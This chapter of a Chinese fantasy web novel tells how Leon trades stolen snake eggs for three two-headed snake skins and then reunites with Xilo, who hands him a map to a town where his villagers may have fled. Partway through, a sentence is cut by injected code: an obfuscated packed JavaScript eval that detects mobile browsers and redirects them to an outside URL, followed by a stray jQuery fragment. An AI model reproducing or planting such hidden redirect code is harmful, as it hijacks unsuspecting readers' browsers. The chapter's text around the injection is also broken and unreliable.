50. 奇遇记

作品:《该死居然是福瑞控![西幻]

    深夜,故乡,围成一大团的蛇,和空无一人的床铺与消失无踪的希洛。大概没有什么能比眼下的现状更加恐怖了吧。


    里昂其实没那么害怕蛇,但在这一刻,他还是恐慌到几乎要叫出声来了,好在理智先于冲动。他慌慌忙忙捂住嘴,总算是没有被外面的蛇群听到自己的尖叫声……


    ……啊不对,没有耳朵的蛇真的能够听到他的尖叫声吗?


    这么想着的里昂依然没胆量放声大叫,匆忙深呼吸了几口气,勉强把过分激动的心情压了下去。至于是否已经真正冷静下来了,这个问题还有待探讨。


    总之,先把裁缝铺二楼的每个角落都找一遍,连陶罐的盖子也掀开来看了看,可是希洛哪儿都不在——更加不可能在陶罐里头。


    回到房间里再看看。她的被子依然皱巴巴的堆在床上,但是床铺冷冰冰的,已经没有温度了,看来她离开了有一阵了,可终端机依然摆在桌子上。既然没有把终端机带在身上想来应该不是去了什么很远的地方。


    四下看看,窗户还是关得很紧,虽然玻璃都碎光了,但窗框也不是能够让人通行的程度,可见她不是从这里离开的。那就是从楼下的正门走出家门的吗,她离开的时候有没有遇到这群蛇呢?总……总不能是被蛇吃掉了吧……


    里昂抹了把冷汗,各种不妙的念头都冒出来了,甚至已经想象出了希洛在蛇的肚子里被消化的样子——然后就顺便想起了把一船人都折腾得死去活来的海蛇耶梦加得,一瞬间起了满身的鸡皮疙瘩,好半天都没消下去。


    他倒是想要装作什么都不知道,放空大脑回到床上呼呼大睡,可这种好事显然是没有办法在这么一个紧迫的夜晚实现的。只要一闭起眼,他就会想到黑麻麻叠在一起不停扭动的黑蛇的身躯,还有下落不明的希洛,后者是只要稍微想一下心脏就会突突狂跳的程度。


    楼下大门总是传来一连串的“咚”声,像是蛇头敲打在门上,听得人胆寒。里昂下意识地看向桌上的那四枚蛇蛋。


    难道是为了蛋才来的吗?这未免有点太恐怖了吧。


    里昂咽了口唾沫,内心依然惴惴不安,无论是为了蛇还是希洛,但他也知道自己必须面对现状了。


    把蛇蛋揣进口袋里,再拿出厨房里的刀,顺便点亮三只蜡烛插在烛台上,他放轻脚步走下楼梯,用脚踢开了大门。


    果不其然,蛇依然停留在这里,一团一团地扭动着,火光在漆黑的鳞片上映出微妙的光泽。有几条蛇挺起了脑袋,仿佛在注视着里昂,看得当事人毛骨悚然,鸡皮疙瘩都快起到头皮上了。


    不管怎么说,上上之计肯定是得想办法把这群蛇赶走才是。


    里昂垂下手,把烛台当做火把,左右挥舞了两个来回,试图用火光吓跑蛇群。


    毫不意外,这招并没能成功。蛇们依旧吐着信子,嘶嘶的声响听得人胆寒,好在这鲁莽的行为也没有激怒蛇群,它们依然停在门外,倒是挺有礼貌的。


    里昂的火焰驱逐计划迎来了彻头彻尾的失败,好在也不是一无所获。借着火光仔细看看,原来这群蛇中不只有双头蛇,还有一个脑袋的单头蛇——就是很正常很普通很常见的那种蛇。


    至于蛇群里的双头蛇……有十来条呢!真多!


    里昂抹了把额角的冷汗,说实话不知道该怎么办才好了。


    如果是希洛在这里,她会选择怎样的行动方针呢?他试着去寻求这个问题的答案,可惜依旧什么都想不到。


    不对,这会儿只有他在这里,那么他就不该想希洛的行动方式,而应该想想自己会做点什么才行。


    这个念头让他稍微冷静了一点,正巧他此刻也确实是有个想法。


    又深呼吸了几口气,把急躁的心跳安抚好。里昂放下烛台,腾出手来,缓慢地伸进口袋里,摸出一枚蛇蛋。


    “你们是为了这个东西来的,是吧?”


    天晓得霍特林的蛇听不听得懂人话,不过在里昂丢下这句话之后,蛇群确实出现了明显的骚动,一条双头蛇急促地爬行到最前端,两只脑袋吐出的嘶嘶声好响,不知道是不是在咒骂他。就算是也无所谓了,反正他也听不懂。


    里昂继续掏着蛇蛋,直到拿出了最后一枚才停手。


    “听着!”


    他大声说,嘶嘶声好像也随之稍稍地消停了一些。


    “我可以把蛋还给你们,但是我有交换的条件!”


    明明是自己像个强盗一样偷走了人家的蛇蛋,到头来还要对方付出对应的报酬,这可真是……太有海盗风范了。


    里昂不太情愿在这时候想起玛珀号和在那上面待过的日日夜夜,赶紧抛开胡思乱想的念头,直接切入正题。


    “我需要三条双头蛇的蛇皮,如果你们同意这场交易,我就把蛋还回去,怎么样?”


    嘶嘶声好像变得很响,但片刻后又安静下来了。里昂相信这是一个好兆头。


    “要是我们达成共识了,到时候你们可别咬我啊!”


    蛇群拧了拧身子,如潮水般褪去了,流向墓园的方向。里昂跟在他们身后,又回到了白天时来过的树洞。放好蛇蛋时,蛇群已经全部消失在了黑暗之中,只留下了三条双头蛇留在脚边。


    这算什么,自我献祭吗?


    就在他的负罪感即将大爆发时,这三条蛇居然拧着身子走了,吓得里昂赶紧追上去,罪恶感也一下子消失无踪了。


    不像白天时的匆忙逃亡,这三条双头蛇的行进速度并不快,看来不是想要逃命的样子。里昂有些茫然,这份迷茫直至来到小溪边才终于得到解惑。


    一颗倒塌的树下压着一窝双头蛇的尸体,死了大概有很久了,肉都已经融进大地,但蛇皮还完好地保留着,不多不少,正好三条。


    里昂拾起蛇皮。抬头时,那三条双头蛇已经游进了草叶中,丝毫不见踪迹了,他的感谢也只能说给这片森林的夜色听了。


    好像度过了一个很奇妙的夜晚。等见到希洛了,一定要把这件事说


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849236|172385||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    给她听。


    不过,希洛到底去哪儿了呢?


    果然还是放心不下,里昂绕着村子里走了一圈,却没有看到她的踪影,当然也闻不到她的气味——人类的嗅觉并不那么灵敏,每次意识到这个事实他都会想要变回奇美拉。


    就这么一无所获地回了家,踏上二楼时却看到了端着烛台的希洛。她就站在站台旁,穿着他祖父的外套。


    “你把烛台落在门口了。”她说,“我把蜡烛吹灭了,不然会把房子点着的。着火这种事,可是很可怕的。”


    “啊……是呢。”


    “你刚才出门了吗?我看到楼下的门敞开着。”


    “嗯。对。”里昂挠挠头,“我拿到蛇皮了。看。”


    他把刚才的奇遇记完完整整地和希洛说了一遍,还意味深长地添上了一句“要是那时候你在就好了”,绝对是在暗示自己已经知道她不在裁缝铺的这个事实。


    其实呀,这件事就算是被他知道了,也是完全无妨的,毕竟希洛并没有对自己的行踪遮遮掩掩。


    正如此刻,她也不打算顾左右而言他,直接从口袋里掏出一张破旧地图,距离霍特林数十公里外的小镇凯灵顿被用朱笔圈了出来,显得好醒目。


    “我去搜查了村子里的每户人家,看了他们的日记也翻了他们的抽屉,发现‘凯灵顿’这个地方出现了好几次。我猜,村子里的人应该是逃去那里了。”


    她把地图叠好,塞进里昂的口袋里。


    “等我们的这趟旅程结束了,你去凯灵顿看看吧。说不定在那里还能找到你认识的人。”


    里昂一怔,直到口袋往下坠了坠,他才感受到了这句话的实感。


    “真……”他结巴了,“真的吗?”


    “你说什么是真的吗?”希洛搞不懂他在说什么,“如果你说地图的话,这是我在别人家里找到的,肯定是真货没错。凯灵顿是我的猜测,这个不保真。”


    “我不是说这个!我、我——”


    里昂好像有好多想要说的,可话到了嘴边,却变成了很奇怪的形态,模模糊糊捉摸不透,害得他支吾了半天还是什么都没能说出来,只能丢出很突兀的一句“我可以抱你一下吗?”,明明之前抱她的时候完全不打招呼,明明她也不会拒绝这种请求的。


    希洛暗戳戳地这么想着,点头也慢吞吞。


    “可以。”


    于是里昂抱住她,抱得紧紧的,脸颊贴在她的耳朵上,热乎乎的身躯很像是奇美拉时期会有的体温,仔细想来大概是此刻的激动感在作祟吧。


    这个拥抱持续了好久好久,久到希洛几乎要说点什么了,他才终于松开了双臂。


    “还有,希洛……”里昂红着脸,笑得很笨拙,“我可以再请你亲亲我吗?”


    这句询问倒是不少见,以前他也是这么说的。通常希洛不会拒绝,但此刻她总觉得有点不好意思:“这个不行。”


    里昂还是很高兴的样子:“我想也是!”